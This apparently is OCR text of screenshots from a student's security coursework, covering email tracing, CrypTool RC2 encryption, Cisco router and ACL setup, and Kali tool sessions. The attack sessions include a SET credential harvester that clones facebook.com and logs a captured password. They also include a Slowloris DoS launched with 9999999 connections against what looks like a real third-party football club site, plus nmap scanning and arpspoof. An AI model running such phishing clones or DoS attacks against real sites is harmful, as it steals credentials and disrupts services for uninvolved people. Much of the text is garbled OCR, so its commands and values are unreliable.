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How to Report Email Abuse eMailTrackerPro Manual FAQ Visualware Home eMailTrackerPro Website Purchase eMailTrackerPr

tml

Identification Report for 'Confirm Bank Details'

(Computer 209.85.220.41 has been found. It is almost certainly located in USA as it has an exact match in the
eMailTrackerPro database.

Click here to hide the in-depth information on this email (more info)

+ This email contains misdirection (The sender has attempted to hide their IP). The sender claimed to be
from mail-sor-f41.google.com but lookups on that name shows it doesn't exist.

« The sender of this email appeared to have the address broganhaggett18@gmail.com. This information is
easily faked so should not be treated as conclusive.
Click here to hide the route map (more info)

The following map shows the route between you and the entity to which you traced. A solid line represents a
hop to a known location, and a dotted line represents a hop to a guessed location.
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CrypTool 1440 - Unnamed1 o
File Edit View Encrypt/Decrypt Digital Signatures/PKI _Indiv. Procedures Analysis Options Window Help

D[w|si[@IS| &[%[e] | 2)%

S Unnamed1

IBmgan Haggett
Shay Friel

[Jack Williams
Romano Stickler
IMorgan Andrews
[Rhys Roberts

Key Entry: RC2

Enler the key using hexadecimal characters (0.9, A. F).
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os|
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CrypTool 1.4.40 - RC2 encryption of <Unnamed1>, key <05> -
File Edit View Encrypt/Decrypt Digital Signatures/PKl Indiv. Procedures Analysis Options Window Help

Do (@] &[®|@ B 2N

S Unnamed1

4 RC2 encryption of <Unnamed1>, key <05>

00000000 [F 4C 29 SE F3 01 A3

0000000C 36 FB Al B9 79 52 54

00000018 EA 3A 79 AS 7B 41 E1

00000024 F3 62 1C AC CE 42 1A .b...B.5.
00000030 26 44 S5 OB F7 84 ED FD 2E S8 47 67 &DU... ... Gg
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New graduates details joining the business
broganhaggett18@gmail.com
New graduates details joining the business

Hi Brogan,
Please find the attached file below to input new graduate names into the business database.
The file is encrypted, the hex value to decrypt the information is 05

Kind regards,
Shay Friel

Cry-RC2-Unnamed1.hex (1K)
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& Cry-RC2-Unnamed1.hex

00000000 44 B1 59 83 53 EB C7 FS
0000000C C3 21 A2 6A 22 81 77 97
00000018 65 S7 C7 78 2A CD 3C 33
00000024 67 42 12 BF 4F DO 18 4A

Key Entry: RC2

Enler the key using hexadecimal characters (0.9, A. F).

Key length: |8 bits |

os|

Encrypt
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21

Router2 - [m]

Physical _Config _ CLI_ Attributes
10S Command Line Interface

REUTEESEREBIE
Routerfconfig ©

Enter configuration commands, one per line. End with CNTL/Z.

Router (config) #hostname R2

R2 (config)#no ip domain-lookup

B2 (config) fenable secret class

R2 (config) $line con O

R2 (config-line) #password cisco

R2 (config-line) #login

B2 (config-line) fexit

B2 (config) $banner motd $Unauthorized access is strictly pronibited and
prosecuted to the full extent of the law. §

B2 (config) fexit

r2#

£SYS-3-CONFIG_I: Configured from console by console

R2%

R2fconfig ©

Enter configuration commands, one per line. End with CNTL/Z.
B2 (config) #service password-encryption

R2 (config)

B2 (config) fexit

r2#

£SYS-3-CONFIG_I: Configured from console by console

Ciri+F6 to exit CLI focus Copy Paste

O Top
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Senvice @® on O off
Interface |FastEthemet0 v]
Inbound Rules:
Action [ ~ | Protocol [ v]
Remote P | | Remote Wildcard Mask | ]
Remote Port Local Port
[ Save I Remove I Add |
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Action Protocl P Wid Card Port Port
1 Deny ICMP 192.168.1.0 00,0255 - -
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® Routert

Physical  Config _CLI_ Aftributes
10S Command Line Interface

TSI
R1(config)
R1(config)
R1(config)
R1(config) #ip access-list standard
% Incomplete command.
R1(config) #ip access-list standard 11
R1(config-std-nacl)#?
<1-2147433647> Sequence Number
aeaulc Set a command to its defaults
deny Specify packets to reject
exic Exit from access-list configuration mode
5o Negate a commend or set its defaults
pemmic Specity packets to forvard
zemazk Access list entry comment
R1(config-std-nacl) #deny
% Incomplete command.
R1 (config-std-nacl) #deny?
aeny
R1(config-std-nacl) #deny ?
A.5.C.D Address to match
any | Any scurce host
host A single host address
R1(config-std-nacl) #deny host
% Incomplete command.
R1(config-std-nacl) #deny host ?
A.5.C.D Host address
R1(config-std-nacl) #deny host 192.168.2.2 ?
<or>
R1(config-std-nacl) #deny host 192.168.2.2
R1(config-std-nacl) #permit ?
A.5.C.D Address to match
any | Any scurce host
host A single host address
R1(config-std-nacl) #permit any ?
<or>
R1(config-std-nacl) #permit any
R1(config-std-nacl) #exit
R1(config)#

Ctri+F6 to exit CLI focus

O Top

Paste
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R1(config)#interface FastEthernetd/0

R1(config-if)#ip a ?

%+ Anbiguous comman

R1(config-if) fexit

Rl(config)#ip a ?
extended Extended Access List
standard Standard Access List

R1(config) #ip access-group 11

"ipa "

% Invalid input detected at '°' marker.

R1(config)#interface FastEthernet 0/0
R1(config-if)#ip a ?
%+ Anbiguous comman
R1(config-if) #ip a?
access-group address authentication
R1(config-if) #ip access-group ?

<1-199> IP access list (standard or extended)

WORD  Access-list name
R1(config-if)#ip access-group 2
%+ Incomplete command.
R1(config-if) #ip access-group 2 2

in  inbound packets

out outbound packets
R1(config-if)#ip access-group 2 in
R1(config-if) #exit
R1(config) fexit
R1E
R1#
Rlfsnow access-lists
Standard IP access list 11

10 deny nost 192.168.2.2
20 permit any

"ipa "

s

Ciri+F6 to exit CLI focus Copy Paste
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File Actions Edit View Help

3) Custom Import

99) Return to Webattack Menu

set:)

webattack>2
Credential harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

The

* IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS % IMPORTANT % ——

way that this works is by cloning a site and looking for form fields to

rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
1P address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

[*1
[x1

webattack> IP address for the POST back in Harvester/Tabnabbing [192.168
SET supports both HTTP and HTTPS

Example: http://wm.thisisafakesite.com

webattack> Enter the url to clone:facebook.com

35]:192.168.

Cloning the website: https://login.facebook.com/login.php
This could take a little bit...

best way to use this attack is if username and password form fields are available. Regardless, t
captures all POSTs on a website.

The Social-Engineer Toolkit Credential Harvester Attack

Credential Harvester is running on port 80

Information will be displayed to you as it arrives below:
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192.168.0.24 - - [04/May/2020 09:56:24] "POST /ajax/bz?__a=16_beoa=06_ccg=EXCELLENTS__comet_req=05

_csr=6__dyn=7xe6F040Q1PyUbFUC1SWgE9BNWEUGC7UN3G327E2vWXX60K0403BWSVCwI E3awbG783pwLU710n2US 1S 2 i

B1iEjwdKOD83mwaSE_hsi=6822987486133588592-05_pc=PHASEDX3ADEFAULTE__req=35__rev=10020790176__s=X3AF
i 5886005676__user=06bz_orig=bluesdp:

GOT A HIT! Printing the output:
: jazoest=2846
1sd=AVqluzvs
display=
enable_profile_selector=
isprivate=
: legacy_return=o
profile_selector_ids=
: return_session=
POSSIBLE USERNAME FIELD FOUND: skip_api_login=
signed_next=
trynum=1
: timezone=-60
: lgndim=eyJ3IjoxMjgwLCI0Tj04MDASINFIT oxMjguLCIhaCI6NZASLCIIT oyNHO=

POSSIBLE PASSWORD FIELD FOUND: pass=Berty1996
PARAM: prefill_contact_point=
PARAM: prefill_source

PARAM: first_prefill_type=
PARAM: had_cp_prefilled=false

POSSIBLE PASSWORD FIELD FOUND: had_password_prefilled=false

PARAM: ab_test_data=AAAVKFf/VF fAAVKAAAAAAAAAKAKAKKAAAAAAAAAAR/QGDDDAAAPEAD
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.

192.168.0.24 - - [04/May/2020 09:5;
TIP/1.1% 302 -

[*] WE GOT A HIT! Printing the output:

POSSIBLE USERNAME FIELD FOUND: WebKitFormBoundaryA04yrxQo17WiPdJY
Content-Disposition: form-data; name="ts"

48] "POST /device-based/regular/login/?login_attempt=16luv=100 H
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Vi v \ v \
N
S \

Welcome to pentmenu!
Please report all bugs, improvements and suggestions to https://github.com/chetan31295/pentmenu/issu
es

This software is only for responsible, authorised use.

YOU are responsible for your own actions
Please review the readme at https://raw.githubusercontent.com/chetan31295/pentmenu/master/README .nd
before proceeding

Please visit on http://technicalhelperchetan.com

1) Recon

2) DoOS

3) Extraction
4) View Readme

5) Quit

Pentmenu>2

1) TCP SYN Flood 4) TCP XMAS Flood  7) Slowloris 10) Go back
2) TCP ACK Flood 5) UDP Flood 8) Ipsec DOS

3) TCP RST Flood 6) SSL D0S 9) Distraction Scan

Pentmenu>7

Using netcat for Slowloris attack.
Enter target:

wa . aberdaretownfc. co.uk

Target is set to wa.aberdaretownfc.co.uk
Enter target port (defaults to 80):

Using Port 80
Enter number of connections to open (default 2000):

9999999

Choose interval between sending headers.

Default is [rlandom, between 5 and 15 seconds, or enter interval in seconds:
5

use SSL/TLS? [yles or [nlo (default):

n

Launching Slowloris
Slowloris attack ongoing
Slowloris attack ongoing
Slowloris attack ongoing

.Use 'Ctrl c' to exit prematurely
this is connection 1, interval is 5 seconds
this is connection 2, interval is 5 seconds
this is connection 3, interval is 5 seconds
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shay@kali
File Actions Edit View Help

rootakali:/home/shay# arp

Address HWtype HWaddress Flags Mask
Iface

Shays-MBP ether  5c:! :94:ab:db €

etho

SkyRouter . Home ether  80:72:15:15:de:ad  C

etho

rootakali:/home/shay# nmap -sn 192.168.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2
Nmap scan report for SkyRouter.Home (192.168.
Host is up (0.0059s latency).

MAC Address: 80:72:15:15:DE:A9 (BSkyB)

Nmap scan report for iPhone (192.168.
Host is up (3.1s latency)

MAC Address: 80:0C:67:4F:AF:63 (Unknown)
Nmap scan report for Shays-Iphone (192.168
Host is up (0.14s latency).

MAC Address: D8:8F:76:6B:D1:96 (Apple)
Nmap scan report for SKY+HD (192.168.
Host is up (0.084s latency).

MAC Address: 90:02:18:7C:, 1 (BSkyB)
Nmap scan report for SKY+HD (192.168.
Host is up (0.084s latency.
MAC Address: 90:02:18:28: F2 (BSkyB)
Nmap scan report for SKY+HD (192.168.0.23)
Host is up (0.027s latency).

MAC Address: 90:02:18:6E:FD:DA (BSkyB)

11)

21)

22)
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shay@ali:~

File Actions Edit View Help
rootakali:/home/shay# arpspoof -i
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